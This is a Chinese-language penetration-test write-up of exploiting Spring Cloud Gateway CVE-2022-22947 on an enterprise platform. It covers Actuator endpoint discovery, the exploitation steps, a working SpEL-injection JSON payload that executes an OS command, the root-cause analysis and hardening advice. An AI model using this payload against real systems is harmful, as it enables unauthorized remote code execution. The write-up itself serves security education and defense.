实战案例:记一次利用SpringBoot相关RCE漏洞拿下某数字化平台系统
字数 1811 2025-08-18 11:36:53
Spring Boot Actuator与Spring Cloud Gateway RCE漏洞实战分析
1. 漏洞背景
本文记录了一次针对某数字化平台系统的渗透测试过程,通过利用Spring Boot Actuator配置不当和Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)成功获取系统权限的实战案例。
2. 初始信息收集
2.1 目标系统概况
- 目标URL: http://xx.xx.xx.xx/
- 系统类型: 某大型企业数字化平台系统
- 前端特征: 简单登录页面,无测试账号可用
2.2 初步测试
测试人员尝试了以下常见登录漏洞:
- 弱口令测试
- 用户名枚举
- 万能密码登录
- 登录验证绕过
- 任意密码重置
均未发现可利用漏洞。
3. Spring Boot框架识别
3.1 框架确认
- 通过构造不存在的目录(如/aaa)触发404错误页面
- 错误页面特征确认系统使用Spring Boot框架
3.2 敏感接口探测
测试人员发现/gateway/一级目录下存在配置接口信息:
- http://xx.xx.xx.xx/gateway/actuator/
- http://xx.xx.xx.xx/gateway/actuator/env
4. 漏洞利用分析
4.1 潜在漏洞方向
测试人员考虑两种可能的RCE漏洞:
- Spring Boot Actuator jolokia配置不当导致的RCE漏洞
- Spring Cloud Gateway应用对外暴露Gateway Actuator导致的远程代码执行漏洞(CVE-2022-22947)
4.2 漏洞验证
- 首先检查/jolokia或/actuator/jolokia接口 - 未发现
- 检查/actuator/gateway/routes/接口 - 存在
确认系统存在Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)。
5. 漏洞利用过程
5.1 漏洞利用条件
- Spring Cloud Gateway应用程序启用了Actuator端点
- 能够获取路由信息(http://xx.xx.xx.xx/gateway/actuator/gateway/routes/)
5.2 利用步骤
- 构造POST请求包,在/gateway/actuator/gateway/routes/ceshiRCE添加恶意路由
- 请求包含恶意的SpEL表达式
- 设置Content-Type为application/json
- 发送请求后返回201表示添加成功
- 刷新http://xx.xx.xx.xx/gateway/actuator/gateway/routes/ceshiRCE查看命令执行结果
5.3 示例Payload
{
"id": "ceshiRCE",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"ifconfig\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
6. 漏洞原理分析
6.1 CVE-2022-22947漏洞原理
Spring Cloud Gateway是Spring生态系统中的一个API网关组件。当Gateway Actuator端点启用时,攻击者可以通过发送恶意请求创建包含SpEL表达式的路由,利用表达式注入实现远程代码执行。
6.2 关键点
- Actuator端点暴露:系统未正确配置Actuator端点的访问权限
- SpEL表达式注入:路由配置中的参数未经充分过滤,允许执行任意SpEL表达式
- 动态路由加载:Spring Cloud Gateway支持动态添加路由,且会立即生效
7. 防御建议
7.1 基本防护措施
- 升级Spring Cloud Gateway到安全版本(3.1.1+或3.0.7+)
- 禁用或保护Actuator端点:
management.endpoint.gateway.enabled=false management.endpoints.web.exposure.exclude=gateway - 限制Actuator端点的访问权限,仅允许内部或授权IP访问
7.2 进阶防护
- 实现API网关的认证和授权机制
- 对输入参数进行严格的验证和过滤
- 在生产环境中禁用不必要的Actuator端点
- 设置SpEL表达式解析器的安全限制
8. 总结
本案例展示了如何通过Spring Boot框架特征识别、敏感接口探测和Spring Cloud Gateway漏洞利用获取系统权限。关键点包括:
- 通过错误页面识别框架类型
- 系统性地探测Actuator端点
- 准确识别可利用的漏洞类型
- 构造有效的SpEL表达式实现RCE
此案例强调了在渗透测试中框架识别和已知漏洞验证的重要性,同时也提醒开发人员需要重视中间件和框架的安全配置。